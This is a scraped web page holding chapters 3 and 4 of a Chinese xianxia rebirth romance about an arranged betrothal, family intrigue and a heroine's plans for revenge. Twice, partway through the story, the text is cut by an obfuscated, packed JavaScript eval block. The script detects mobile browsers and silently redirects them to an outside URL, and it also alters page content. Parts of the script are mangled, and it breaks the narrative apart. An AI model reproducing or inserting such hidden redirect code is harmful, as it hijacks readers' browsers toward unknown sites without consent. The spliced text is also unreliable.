《重回宿敌年少时》 3. 第 3 章 慕、闻两家的这桩婚事定于慕夕阙出生三月后,最初只有两家当家知晓,连她和闻惊遥都是十四岁时才得知的。 过去两家也只是提提,似乎有开玩笑的意思,慕夕阙便只是疏远了些闻惊遥,并未真的跟这好友完全断交。 直到一月前,朝蕴将她叫来,开诚布公,郑重严肃地说了此事,大有要他们履行婚约之意,两人大吵了一架。 但吵架也无用,两家进展迅速,根本不需要他们两位当事人的同意,订婚宴当即敲好了日子,三月初十于闻家主宅大办,邀贴都发出去了,闻家已来送了礼书,今日慕家弟子长老会随着去闻家还礼。 慕夕阙和闻惊遥赶到琼筵山山门时,两家人正准备启程。 慕家灵舟停在山门前,十层高楼雕栏玉砌,由几根汉白玉柱子撑起,有钱至慕家这种地步,连灵舟上垂的船帆都是天蚕纱幔,雕花窗也得镶金,即使只是个代步工具,荷塘碧影、水榭竹亭也一个不缺。 朝蕴站在灵舟前,淞溪慕家由这位当家把持已有十余年,慕夕阙出生的第三年,慕峥离世,彼时慕家身陷囹圄,慕家长女身染秽毒一事不知怎么传得沸沸扬扬。 鹤阶那些人借题发挥,要求彻查慕家,假意除祟,其心在十二辰。 也就是那个时候,朝蕴一人站在琼筵山下,一剑逼退鹤阶十一位长老,撑到慕家支族来援。 见她来了,朝蕴说道:“此桩婚事乃你父亲生前定下,闻家礼书已下,莫要胡闹。” 慕夕阙在她身前站定,没说话。 闻惊遥颔首行礼:“阿娘,朝家主。” 庄漪禾和朝蕴并肩而立,抬手扶他:“没什么外人,不必多礼。” “嗯。”闻惊遥应了声。 庄漪禾笑了笑,看向一旁的慕夕阙:“小夕,闻家送礼你可还喜欢?” 慕夕阙颔首道:“喜欢。” 不过是客套话罢了,她压根没看闻家送的什么礼,前世这时候她差点将慕家掀了,连订婚宴都是最后被压着去的,到如今都不知晓闻家究竟送的什么。 她的态度不冷不热,庄漪禾略有些尴尬。 朝蕴出来找补:“阿娘要去闻家还礼,我知你仍在生气,但婚事已定,婚书已下,闻家礼宴也发了帖子,莫要让阿娘为难。” 慕夕阙望着她,她其实听不清朝蕴到底在说些什么,只想好好看看朝蕴。 她少年时脾气太大,总觉得朝蕴对她过于严苛,偏心长女,和朝蕴不少吵架,后来又因这桩婚事和朝蕴大闹。 朝蕴死得太早了,到最后慕夕阙都要比她大得多了,做了她那么多年的女儿,自记事起就在惹她生气,实在称不上孝顺。 垂下的手握了又握,慕夕阙慢慢低头,在心里说过成千上万遍、却始终没喊出口的话,她慢慢又郑重地喊道:“阿娘。” 朝蕴蹙眉:“小夕,别闹。” 慕夕阙只是又低声喊了一遍:“阿娘。” 闻惊遥侧首看她,风拂起她侧脸的鬓发,她低着头,侧脸落在闻惊遥眼里,他觉得她似乎很难过,那种从今日见到她时就隐隐萦绕盘旋在她周身的压抑又来了。 他默了瞬,隔了衣袖握住她的手腕,低声说:“夕阙,两家定亲,鹤阶的暗桩应当就在附近,你若不愿我会想办法处理,先让朝家主和我阿娘离开,否则传至鹤阶耳中定然生变。” “我愿意。”他的话刚说完,慕夕阙主动开口,她侧过身,目光在怔愣的闻惊遥身上顿了顿,轻轻挣开他的手说道:“我不是说了嘛,现在愿意了。” 闻惊遥薄唇微抿,似有话要说,可最终还是缄默不语。 庄漪禾眨了眨眼,被她这当头一句砸得缓不过来。 朝蕴眉头拧起,以为她是见硬的不行来软的,低声斥道:“现在人多,别胡闹。” 慕夕阙没回她,拱手行礼:“庄夫人,我想明白了,既对慕闻两家皆有益处,没什么不愿意的。” 庄漪禾张了张嘴,末了反应过来,赶忙应和:“你放心,庄姨定当亲生女儿对你,惊遥这孩子若敢对你有半分不好,我定不轻饶他。” 慕夕阙应声道:“我知道,此次回礼我会去。” 闻惊遥沉默,这时候又当起了木头。 庄漪禾瞪了眼他,这孩子的话实在太少,她咳了咳,主动圆场子:“好,我立马传令回去,将住处收拾出来。” 慕夕阙道:“多谢。” 朝蕴盯了会儿慕夕阙,转而对庄漪禾道:“阿禾,你也累了,先上灵舟休息吧。” 庄漪禾听懂她的意思,点点头应下:“那你们先聊着,我便带惊遥先走了。” 她率先带闻家弟子上了灵舟,闻惊遥走在最后,看了她一眼,慕夕阙知道,却并未回视。 闻家人上了灵舟后,朝蕴面色淡淡,撇了眼匆匆赶来的蔺九尘和姜榆,说道:“阿尘将礼带上去,阿榆歇息吧,小夕跟我来。” “好。”慕夕阙颔首。 蔺九尘和姜榆正招呼抬礼,她跟在朝蕴身后,一直上到灵舟第十层,熟门熟路进了间布置雅致的房间,那是朝蕴在灵舟上的住处,雕花屏风后便是张可坐四人的檀木圆桌。 朝蕴坐下,倒了两杯茶,臻首娥眉,姿态从容。 “为何答应?” 她知道自家女儿有多不愿,并非是讨厌闻惊遥,而是厌恶她插手这桩婚事。 慕夕阙垂眸,盯着茶盏中倒映出的脸,这是她十七岁时的模样,慕二小姐生了张冠绝十三州的脸,不似父亲的周正俊朗,也不似母亲的温婉清丽,她姿容艳丽,行事也张扬。 “想明白了您为何忽然提起这桩婚事。”慕夕阙说。 朝蕴愣了下,染了豆蔻的手指轻蜷,抬眸看她:“是阿娘对不起你,阿娘护不住你和姐姐,也护不住慕家,只能靠联姻。” 慕夕阙知道她的意思。 万年前,灾厄降世,带来秽毒,被秽毒侵染者便有九成机会恶化为祟,只要祟诞生便有修士化神境的修为,并且进境迅速。 据《十三州史》记载,十三州和海外仙岛曾经险些被秽毒吞没大半,一百七十三只祟种所过之处,伏尸百万,血流成渠,十三州折损过四成,才将这些祟斩杀殆尽。 彼时的两位神器之主祭出天罡篆和十二辰,凿出祭墟,驱逐秽毒于祭墟内,百位长老以身献祭,化百根天柱于祭墟外,方镇压秽毒。 区区一百七十三只祟,就让十三州损了上万修士,这等邪灵简直是来灭世的,因此十三州谈祟变色,格外忌惮,为了防患于未然,凡是查到有被秽毒侵染之人,无论其是否祟化,立地斩之。 能稳固祭墟的,只有天罡篆和十二辰,缺一不可。 天罡篆如今在鹤阶手里,这也让鹤阶在十三州拥有绝对的话语权,而另一法器十二辰却在慕家。 慕家主商,财力乃十三州第一,战力却远不如逐渐发展起来的鹤阶。 身怀至宝,却无守住至宝的能力,那么难免遭人惦记。 朝蕴神情复杂:“你爹当年定下这门婚事,也是想为你多谋一分活命的机会,况且你阿姐她身上的秽毒……归根到底,是慕家拖累了你。” 她省去了许多话,整个慕家除了朝蕴和几位管事长老,便只有慕夕阙知晓,就连蔺九尘和姜榆都不知慕家长女唤什么名字,今年到底多大岁数。 十三州只知道慕家除了慕二小姐,还有位久居不出的大小姐。 朝蕴握住慕夕阙的手说道:“闻家与慕家交好百年,闻家主支只有惊遥一个孩子,他修为强盛,是日后的闻家家主,前些时日祭墟动荡,鹤阶越来越耐不住了,不管以后发生什么,你也总归有个帮手。” 前世朝蕴也对慕夕阙说了这番话。 但当时的慕夕阙气性大,本就总觉得朝蕴偏心长姐,听了这番话更是气炸,朝蕴的话落在她耳里,俨然变了个味道——为了你姐姐,你就嫁给闻家吧,这样才能保护你阿姐。 直到后来慕家真的出事,整个慕家无人支援,阵法连破,玉灵被杀,闻家地远,赶到之时,慕家已成焦土。 朝蕴想要的,只是鹤阶和其余世家的忌惮,两家家主联姻,慕家和闻家便如同一体,若想动其中一家,需得掂量自己能不能打得过这分掌了十三州半数城池的家族。 见她一直不回应,朝蕴叹了声,又说:“自打你父亲死后,慕家处境实在是……” 慕夕阙直接抬头看她:“阿娘,您当真觉得阿姐的事,以及父亲身亡一事并不蹊跷?” 好像这么多年,慕夕阙从未见过慕家去探查这些。 一个刚出生的婴孩,从未接触过祭墟,却身染秽毒。 慕峥一个高境修士,只是去海外仙岛为长女求一丝生机,却遇到只化神境的祟种,死在了灵舟上。 两人对视许久,无人说话,死寂沉静,灵舟在此刻腾飞驶向云端,去往东浔闻家。 朝蕴松开她的手,茫然看向窗外,似自言自语:“事已至此,去想这些还有何意义,我已经失去了你父亲,不能再失去你们了。” 慕夕阙站起身,长睫低垂,目光落在朝蕴面上,修士结丹后衰老速度便大幅削弱,朝蕴却鬓边长了两缕白发,便是敷了脂粉也挡不住眼尾的细纹和眸底的疲乏。 她已经老了许多了。 可朝蕴才四十五岁,修士漫长千年岁月中,四十五年只是眨眼之间罢了。 “我不认。”慕夕阙道:“阿娘,我不服,人善被人欺,一味退让只会让慕家处处受人钳制,鹤阶不会因为我们老实便放过我们。” 她转身,方走了没几步,屏风后的人喊住她。 “小夕。” 慕夕阙顿住,过去吵了十几年的母女鲜少有这般平和之时,朝蕴望向屏风后模糊的纤影,不知道什么时候,两个女儿眨眼便长大了。 千言万语,最终凝成一句:“是阿娘对不起你。” 前世的慕夕阙半分听不进去。 可人死万事休,生死之外无大事,她在逃亡的那些年里才明白朝蕴的无可奈何。 如今,一百多年了,慕夕阙回头,隔着一扇屏风,跨越两辈子,与自己日思夜想的人对视。 “阿娘,你不会失去任何一个人,我也不会。” 她转身离开,将门掩上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379285|184069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵舟已经腾飞,慕夕阙休息的地方在七层,刚走到第七层转角,便瞧见站在门前的少年。 只有他一人,闻惊遥似乎一直等在这里,见她回来后抬眸看来,年少时的他身上多了一层若有若无的温和。 慕夕阙走过去,站在他身侧,胳膊撑在护栏上:“怎么了?” 闻惊遥与她隔着一肩的距离,灵舟旁掠过的风扬起彼此的发,丝丝缕缕交缠在一起,他侧首看她。 慕夕阙近来一直躲他,大多时间在外历练除邪,两人也是半年前因除邪偶然见了一面,此后闻惊遥来过两次慕家都未见到她。 闻惊遥沉声说道:“此次两家婚事定得急,朝家主的意思我大致明白,应是想威慑蠢蠢欲动的鹤阶,但闻家也如此仓促,我尚不知缘由,我会找机会退婚——” “不用退。”慕夕阙开口打断,身子斜靠在护栏上,与闻惊遥面对面,“我都说了,我愿意就是愿意,退什么?” 少年薄唇微抿,并未说话,只沉沉看着她。 慕夕阙想到什么,歪歪脑袋问:“还是说你有心仪的人,所以想退婚?” “不是。”她的话刚说完,闻惊遥便当即否认,他顿了顿,迎着她含笑的目光,说道:“夕阙,我只会娶你。” 闻惊遥性子内敛,不善言辞,但能说出这种话,便已经是委婉表明自己的心意,慕夕阙也不傻,自然听得出来。 他送的玉簪还戴在她的发髻上,垂下的流苏被滑过的风拨动,一下一下晃着。 两人的目光撞在一起,慕夕阙神情自若:“订婚宴阵仗这般大,便是为了威慑鹤阶和其跟随者,倘若有朝一日真把他们逼急了咬上门来,闻家怕也会遭到牵连,你们就真不怕惹事?万一会死呢。” 闻惊遥默了瞬,目光落在她的手上,她的虎口剑茧明显,慕夕阙这些年于修行上有多努力,他是知晓的,她虽与朝蕴不和,对整个慕家却是倾心相护的。 “夕阙,人活一世,生死虽大,情意更重。”闻惊遥淡声说,他抬眸看过去,“就算你不是我妻,我也会为道义去战,倘若你坚持的道是对的,修士伏节死义,没什么可怕的。” 慕夕阙有一瞬间险些端不住脸上的笑,心底的戾气在翻滚,她仍撑着笑意,朝他凑近了些,盯着他的眸子问:“什么道在你眼里是对的?” 闻惊遥并未给她明确的答案,安安静静与她对视,末了说道:“你不会做错事的,我信你选择的路。” 这明明是他说过的话,可他也说过——慕家不死,鹤阶不存,十三州根基势必动摇。 她坚持的道,他认为是错的,是他先背弃了年少的诺言,是他先对不起她的。 前世一百二十年的追杀,她那些不熟的朋友尚有人不顾性命想拉她一把,她这位未婚夫当上圣尊后第一件事,却是亲自带人围杀她。 若非她探过他没被夺舍,当真以为自己这未婚夫被什么妖魔鬼怪占了躯壳呢,怎么就那般心狠? 慕夕阙点点头,笑盈盈说道:“我知道了,不用退婚,我说过愿意就是愿意,你也不必多想,若无事便去休息吧。” 闻惊遥来这里便是以为她并不真心答应这桩婚事,可如今她再三告知她是情愿的,他看着她,并未在她面上瞧见不情愿,慕夕阙性子高傲,不会委屈自己。 “……嗯。”闻惊遥应了声,却并未离开。 慕夕阙仰头问:“还有何事?” 闻惊遥道:“此次订婚宴在闻家主宅办,赤敛燕家也会来,应是燕如珩来送礼。” 他说这话的时候盯着她瞧,目光沉静语气温和,怕是只有自己知晓,负在身后的手无意识蜷起,悄然握紧。 但慕夕阙却只是点了点头:“嗯,他是要来,慕、闻两家结亲,十三州哪个家族敢不来?” 她听到燕如珩的名字,宛若听到一个不熟之人的名讳,并未有半分异样。 ……可那是燕如珩。 闻惊遥垂眸,太过刨根问底只会惹人厌烦,他没再问,侧首望向东向,灵舟穿梭在云层中,飘过的风都夹杂了云里的雾气,湿漉漉地打在身上。 慕夕阙站没站姿,倚靠着护栏,循着他的目光看去,淡声说道:“再有两个时辰便到闻家了。” “嗯,你有多年未来过闻家,那里没变多少。” 慕夕阙垂眸,从第七层往下看,瞧见甲板上蔺九尘和姜榆忙碌的身影,两人正在招呼弟子们点礼。 他们二人作为慕家首席弟子,是朝蕴和慕峥倾心培养的人,日后慕夕阙当上家主,他们便是慕家二把手,她的左右臂膀。 姜榆年岁还小,因此许多事都需要蔺九尘过目,他算学不行,最讨厌算账,抬手撑了撑额头,似有些头疼。 慕夕阙盯着他们的背影,指尖蜷了蜷,脸侧的鬓发挡住她的眸子,无人瞧见她眼底的寒凉。 前世蔺九尘便是死在了闻家主宅,死在几日后的这场订婚宴上,姜榆目睹一切心境大跌,慕家用尽心血培养的栋梁之材一死一伤。 慕夕阙直到许多年后才想明白,或许这场订婚宴,便是埋在慕家的隐患。 是慕家土崩瓦解的开始。 4. 第 4 章 灵舟于两个时辰后落至闻家主宅。 闻家弟子抬礼下舟,慕夕阙从第七层下去时,刚至一层甲板便瞧见了护栏前的闻惊遥,身旁站着蔺九尘,两人背对着她,似乎在闲聊。 应当是蔺九尘单方面说,闻少主偶尔回几句,慕夕阙过去死活不同意和闻惊遥的婚事,也有这人实在话太少的缘故,总觉得相处起来要累死,更别提成婚后抬头不见低头见的。 她走过去,闻惊遥侧身看来,不知是不是错觉,慕夕阙觉得方才还冷淡如雪的人软和了些,他冲她颔首,喊道:“夕阙。” 慕夕阙问:“和我师兄聊什么呢?” 闻惊遥道:“一些琐事。” 慕夕阙点点头:“哦。” 他们两人说话一贯如此,蔺九尘单手撑在护栏上,身子斜靠,站没站姿懒懒洋洋,啧啧两声摇了摇头:“我都不敢想你们两个以后要过日子,太惊悚了。” 他说完摆摆手,怕挨揍直接离开:“师娘喊我,我下去送礼。” 慕夕阙罕见地没跟他吵架,蔺九尘刚走,她看向闻惊遥:“我住在何处?” “画墨阁。”闻惊遥回道,“那是闻家去年方建好的新院,一切用度都按照你在慕家生活时安排的,虽比不上慕家,但是闻家主宅最好的院子。” 闻家崇俭禁奢,慕夕阙自己的院子连把椅子都得是天品的紫檀木,一个茶盏都要从杳州寒潭购入,闻少主自己的小院则简单朴素,他从小喜静,住处更是在主宅最僻静的东南角。 他这么一说,慕夕阙便明白了,这画墨阁是闻家提前修好的婚房,她和闻惊遥的住处。 闻惊遥是日后的闻家家主,按规矩要住在闻家主宅的,但她从小吃穿用度都是顶好的,担心委屈她,闻家建了新院。 “惊遥。” 慕夕阙还没说话,有人远远喊了一声。 朝蕴和庄漪禾并肩站在灵舟下,庄漪禾正朝闻惊遥招手,应是有事。 慕夕阙率先开口:“你去忙吧。” 她说话依旧不显亲近,但似乎不如过去那般冷淡,闻惊遥知晓有些事情不能问太明白。 “好,有事唤我。” 慕夕阙目送他离开,灵舟下人来人往,两家少主联姻便是两个家族的结盟,闻家与慕家弟子瞧着都为此欣喜,她还看到蔺九尘和姜榆并肩跟在朝蕴身后离开。 站在灵舟上遥遥看去,目之所及皆是闻家地界,群山连绵,白雾皑皑,东南一角最远的院落是闻惊遥的住处,往西走两刻钟便能到画墨阁。 “慕二小姐。” 一道略显低沉的声音从下方传来。 慕夕阙垂眸看去,一身着湖青道袍的中年男子正负手而立,容貌瞧着有四五十岁,但修士年龄不可靠外貌辨认,这人长得倒是端正,腰间悬了块羊脂玉牌,只有闻家长老才能佩戴。 她没说话,淡淡看着他,这姿态在十三州算是格外不敬的了,小辈见到长辈竟不行礼,何况在重礼的闻家,但这人却并未生气。 闻时烨笑了笑,说道:“在下带慕二小姐去画墨阁吧。” 慕夕阙颔首:“那便有劳了。” “慕二小姐客气。”闻时烨抬手便请,“请随我来。” 慕夕阙转身朝楼阶走去,两侧的挡板阻隔了视线,她目不斜视,面无表情,垂在袖中的手却早已攥得发白,那些年的逃亡让她的脾气收敛了许多,若这壳子里是少女时期的慕夕阙,怕是下一刻便能拔剑劈了灵舟下的人。 ——师姐!你救救大师兄,你救救他! ——慕家那位大弟子死得可惨了,听说被鹤阶打得骨头都碎完了,连站都站不起来,还中了秽毒,为保家族名声,在祟化前自戕了。 ——唉,才二十来岁,修为颇高,日后前途无量啊,这一死,我听说慕家那小师妹大受刺激,心境跌了不止一星半点。 ——连损了两个内门弟子,还都是天赋异禀的奇才,可惜,实在可惜。 那时十五岁的姜榆披头散发跪在地上痛哭,眼里几乎淌出血泪,对匆匆赶来的她哭着喊:“师姐!师姐!” 鹤阶的人围了一圈,百姓指指点点,十七岁的慕夕阙拨开人群一步步走进去,瞧见碎了一地的刀片,以及红得骇人的血,还有……粉身碎骨的蔺九尘。 那是慕峥死后,慕夕阙失去的第二个挚亲。 一晃隔世。 慕夕阙从灵舟走下,闻时烨站在离她几步远的地方,正温和轻笑。 “二小姐,请。” 闻时烨转身,在前方带路。 慕夕阙跟在他身后,抬手轻抚腰间佩剑的剑柄,起伏的沟壑摩擦过她的掌心,她又忆起了前世用这柄剑斩杀闻时烨时的感觉了。 拿了狱卒给她的灵钥解开缚仙索后,她一刀割了闻时烨的喉咙,只可惜,不仅让他多活了那么些年,死得还那般轻松。 给蔺九尘报仇时,蔺九尘已经死了一百多年了。 慕夕阙路过主厅之时,瞧见一身嫩黄衣裙的姜榆正跳起来敲蔺九尘的脑袋,慕家那位稳重可靠、修为颇高的大弟子揉揉脑门,似乎在跟姜榆拌嘴,面上却并无半分不忿,宛如看自家妹妹发脾气一般。 如今他们都活着。 - 慕夕阙在画墨阁里还没坐多久,蔺九尘和姜榆便忙完找上了门,两人一左一右坐在她对面。 “干嘛?”慕夕阙微抬眼皮。 蔺九尘直接说:“你不对劲。” 慕夕阙懒得理他。 蔺九尘嗤了一声:“你有十分的不对劲,慕夕阙是什么人,素质不详矫情造作,脾气暴躁嘴毒手辣,能打架就不动口,宁可与天下为敌,绝不委屈自己。” 姜榆凑过来接话:“但你今天竟然答应这桩婚事了!” 慕夕阙身子后仰,靠进檀木椅中:“闻惊遥不挺好的吗,我答应婚事怎么就叫委屈?” 蔺九尘、姜榆:“?” 完了,这是一百分的不对劲! 慕夕阙不欲多说,抬手将凉掉的茶喝完,淡声问:“你们明日去做什么?” 姜榆歪歪脑袋:“师娘说让我看着你,怕你在闻家打架,尤其是和闻少主。” 慕夕阙:“……师兄呢?” 蔺九尘扬了扬眉梢:“我明日去帮师娘办些事,出去一趟。” “嗯,我知道了。”慕夕阙抬眸,又说:“你们先走吧。” 蔺九尘回身看去,一时无言默了瞬,随后站起身:“好,我们先走。” 他和姜榆走出没几步,又倏然停下,扭头狐疑看她:“你确定没有什么事瞒着我?” 慕夕阙想了想,沉思片刻,点点头:“是有一件事。” 蔺九尘敛容正色,修挺的眉微拧:“你说,是遇到什么难事了吗?” 慕夕阙抬头看他,面不改色说道:“去年慕家论道大会前,琼筵山封山,我实在憋得慌,拿了你的令牌下山去玩,害你被刘掌院罚抄了三十遍经,忘了跟你说。” 姜榆按住太阳穴。 听听,这说的是人话吗? 蔺九尘:“?” 蔺九尘:“……” 蔺九尘撸起袖子:“慕夕阙,我必杀你!” 姜榆赶忙扯住他的胳膊:“大师兄冷静啊!闻少主还在呢!” 她毕竟是个修士,力气不小,捂住蔺九尘的嘴,推着跳脚的他往门外走,路过闻惊遥时哂笑两声。 “闹着玩呢,我们慕家上和下睦从不打架斗殴的,闻少主跟师姐聊,我们先走了。” 慕夕阙低头斟茶,她为数不多的雅兴便是饮茶,闻家地界盛产茶叶,比慕家花千金万金买的佳茗还要适口,闻惊遥来淞溪时便常为她带。 一人在她对面坐下,清清冷冷的雪竹香又再次袭来,这么多年了,慕夕阙就只在闻惊遥身上闻到过这种气息。 “夕阙。” 慕夕阙眼帘微抬,“有事?” “嗯。”闻惊遥道,端起茶抿了一口,“你我身份特殊,订婚宴连设三日,明后两日宴请满城百姓,我们不必出席,第三日去向长辈敬酒,十三州婚宴规矩繁琐,那日你我的冠服都需加工定做,今晚就动工。” 两家忽然开始操办他们的婚事,慕家仓促,闻家也同样如此,连冠服都未提前准备。 慕夕阙似看不出来他的欲言又止,眼也不眨道:“所以你来量身?” 闻惊遥愣了下,一口茶险些呛住,忙将茶盏放下:“不是,没有……我来问。” “哦,来问,不是来量。”慕夕阙点点头,语气平淡,像是没有逗他的意思,只是正儿八经问一句,从乾坤袋里取出卷尺搁在桌上,“不记得了,你来量吧。” 闻惊遥抿了抿唇,喊道:“夕阙。” 慕夕阙看着他:“我没骗你,我确实不记得。” 于他们而言只是一日光阴,对她来说却是整整百余年,自慕家倒台后,她整日易容,连一头及腰青丝都剪到了过肩,也再没穿过什么好料子,去路边小摊处随意买件衣裳,无论尺寸都能穿,人也比如今瘦了许多。 百年过去,谁还会记得这点小事呢? 闻惊遥垂眸,他其实知晓相体裁衣的步骤,少年时长身体,今年的衣裳来年便不能穿了,每隔几月裁缝上闻家量体定做,看一遍便能记下。 他顿了会儿,抬眸道:“夕阙,我找个女弟子来。” 慕夕阙嗤笑了声,身子忽然前倾,胳膊肘抵在桌面上,院里这石桌仅三尺宽,挡不住什么。 闻惊遥闻到一股馥郁艳丽的香,这是闻家鲜少有人会熏的,但他却觉得,比起淡雅清浅的香,这种浓郁到只要有风便能嗅到的香才更衬她。 思绪有些乱,他看着近在咫尺的脸,依旧坐得板正,偏偏在无人知晓之处,却觉得整个人都要烫了起来,搭在膝上的手蜷了蜷。 慕夕阙单手托腮,一手在桌上轻敲,问他:“我们不是快成婚了吗,难不成成婚后你也避我如蛇蝎?” 闻惊遥道:“……没有。” 慕夕阙笑问:“当真?” “当真。”闻惊遥实在实诚,她问什么他答什么,这话有些过于羞耻,他说到这里顿了顿,目光偏了些,又补充道:“没有避你,如今不会,日后更不会。” 慕夕阙笑了声:“那你推辞什么,闻大少爷,不过量体而已,是我阿娘叫你来的吧?” 闻惊遥默然不语,她聪慧如此自然能猜到,朝蕴和庄漪禾托他来问她,归根到底是想让他们单独相处会儿。 慕夕阙站起身,双手一抬:“快点,我要沐浴休息了。” 语气还是高高在上,慕二小姐对谁说话都是这般,毫无礼貌可言,偏偏闻惊遥从不生气。 他起身,拾起桌上的卷尺,喉口上下滚了滚,对上她坦荡的眼睛,又觉得是自己扭捏了。 从小谨守清规,连人都死板了许多。 “夕阙,冒犯了。” 慕夕阙扯了扯唇角,从喉咙里挤出声回应:“嗯。” 闻惊遥靠近,绕到她背后先从肩宽开始,他个子比她高了一头,常年练剑,纵使才十七岁,但身量着实高挑,宽肩窄腰,腰背笔直,抬手之间好似从身后将她拥入怀中。 慕夕阙站着不动,感知到他的呼吸喷涂在脖颈上,清清凉凉,如他这个人一般。 “闻惊遥。”她忽然开口。 “我在。”闻惊遥手上动作顿了顿,应了声后又继续量体。 慕夕阙慢条斯理,像在闲聊:“你身上有伤吗?” 本就瞒不过她,闻惊遥只有片刻停顿,说道:“嗯。” “刀气到现在都没散去,伤你至此,除却那些当世大能,便只有祟种。” 开了灵智的神兵都有自己的灵气,皮肉伤或许容易治愈,器灵留下的伤却足以伤及根骨。 而闻惊遥虽年轻,修为却已达元婴满境,与慕夕阙一般,当属十三州佼佼之辈,能伤他的除了高境修士,便只剩下祟种了。 “七日前我去了趟幽州,遇上只祟种,他生前是位刀修,你应当认识。”肩宽和袖长量好,闻惊遥将卷尺环过她的腰身。 慕夕阙点点头:“前些时日千机宗一位长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379286|184069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老失踪了,他修为已臻至化神满境,是刀道大能。” “是任前辈。”闻惊遥已经量好腰围和衣服下摆止口,绕至身前,抬手为她量领边,动作仔细轻柔。 任风煦,千机宗大长老,曾跟慕夕阙的父亲慕峥是至交好友。 “任前辈呢?” “被鹤阶带走了。” “为何没杀?” “任前辈德高望重,千机宗宗主带十七位长老来了,要求彻查任前辈祟化一事,鹤阶不愿结怨,双方商榷之后,任前辈必须关押在鹤阶,但在事情未明之前鹤阶不得任意处置。” 慕夕阙语调淡淡:“不是秉公持正吗,这时候倒通晓人情世故了。” 语气虽淡,阴阳意味却十足,闻惊遥听得出来她在嘲哪方。 他知晓慕家那位大小姐的事情,虽属机密,但毕竟是一家少主,这些事瞒不住他。 鹤阶当年逼慕家处置慕大小姐之时,态度坚决,而那时她甚至尚未满月,毫无威胁,若非慕峥和朝蕴献上慕家五分之一的地产和商业,当着鹤阶的面将孩子的灵根切断,终生关押不得擅出,这件事不会如此善了。 如此前倨后恭,看人下菜,实在不妥。 闻惊遥知晓她憎恶鹤阶,默了瞬,耐心解释:“秽毒近十几年来频繁出现在十三州,前些时日祭墟动荡,任前辈又在此刻身染秽毒,牵扯太深,我不与你细说是恐慕家也趟了这浑水,此事闻家已派人调查,我会给你一个交代。” 慕夕阙知道他为何要给她交代,因为任风煦和先慕家主慕峥乃至交好友,这些年来任风煦常来慕家帮持,连蔺九尘的一身刀法有七成都是他教授的,比起早亡的慕峥,他更像是蔺九尘的师父。 蔺九尘此刻应当已知晓任风煦的事,他瞧着没什么异样,不过是瞒着慕夕阙和姜榆,不想她们卷入。 前世蔺九尘的死,也跟这件事脱不了干系。 见慕夕阙不说话,闻惊遥道:“夕阙,你信我。” “我自然信你。” 慕夕阙笑了下,仰头看他,闻惊遥有一双很漂亮的眼睛,清亮剔透,看人的时候总会让人觉得专注,好似他说的所有话都是真的,半分不会怀疑。 谁能料到这样一个赤诚的少年郎,日后当上鹤阶圣尊后,第一个赶尽杀绝的便是他的未婚妻。 那么多年里她才明白,像他这种从闻家清心观里养出来的孩子,便不可能是因一时情爱昏头昏脑的人,当慕家威胁鹤阶地位,闻家也会选择站在十三州那方,美其名曰—— 为了十三州根基稳定。 而慕夕阙格外记仇,凡对不起她的人,她穷尽一生也要讨回来。 闻惊遥量好所有尺寸,将卷尺收起,并未退后,而是低头看她,温声道:“二叔负责此次还礼宴,明日他会出门采办,夕阙,你若还有别的意见便直接去提。” 他执起她的手,慕夕阙感受到一股丝丝缕缕的凉意,她低头看去,少年的手瘦削修长、骨节分明,指腹和虎口与她一般,有练剑多年的薄茧。 一枚玉牌被搁置在她掌心。 那玉牌长约两寸,宽一寸,小巧玲珑,镂雕是繁琐细致的青竹图纹,玉质细腻,微凉沁骨,慕夕阙知道这是什么东西。 “同心玉牌,闻家嫡传出生后,每人皆有一对,只能赠予一人,我的另一枚给你。”闻惊遥收回手,退了半步,“凭此玉牌,你可自由出入闻家地界,十三州凡闻家产业,无论学宫商铺都会听你命令,在外遇到危险也可用它去寻最近的闻家暗桩。” 慕夕阙抬眼看他:“送出去就收不回来了,若最后我们没成婚,你也收不回。” 闻惊遥看着她说:“不会的。” “不会什么?” “不会成不了婚,我也不会收回。” 慕夕阙眉梢一挑,毫不客气:“那我就收了。” 她垂眸之时,眸光暗了暗,将玉牌挂在腰间,若这玉牌在她手上,似乎能省不少麻烦。 闻惊遥望着她,看她将玉牌挂在身上,玉牌上镌刻的“遥”字是他的名字,日后所有人见到这枚玉牌,都知晓他们二人已结亲。 “夕阙。”闻惊遥薄唇动了动,低声说:“这里与淞溪一般,地界宽广,民生富饶,你过去很少来这里,这次既来了,若无事可外出看看,我近来会一直在闻家。” 慕夕阙抬眸看他:“你想和我私会?” 闻惊遥偏头咳了一声,似被她语出惊人呛到,转过头耐心解释:“这词不是这般用的。” “哦。”慕夕阙应了一声,理不直气也壮:“我不爱读书,你知道的。” 全十三州就没有不知道的,慕二小姐除了修炼外,什么算学律学通通不爱,问就是——晕字,看不了,快拿走。 闻惊遥应了声:“嗯,我知晓。” 慕夕阙忽然想到什么,神情轻松,朝他走近了一步,仰头看他:“你刚才说负责此次还礼宴的是你二叔?” “是。”闻惊遥道:“父亲忙于公务,母亲身子不好,我又年轻缺乏经验,便由二叔来。” 闻惊遥的二叔,是闻时烨。 “他明日要出门采办是吧?”慕夕阙点点头,了然道:“我缺什么会去直接提的,天太晚了,你回去吧。” 她转身便要走,闻惊遥没说话,长睫半垂。 “对了,闻惊遥。”本该要走的人却忽然转身,她站在画墨阁的青阶上,垂首看他,“我想吃城南的糖蒸板栗,你明日给我买。” 闻惊遥喉口滚了滚,应道:“好,还有旁的吗?” 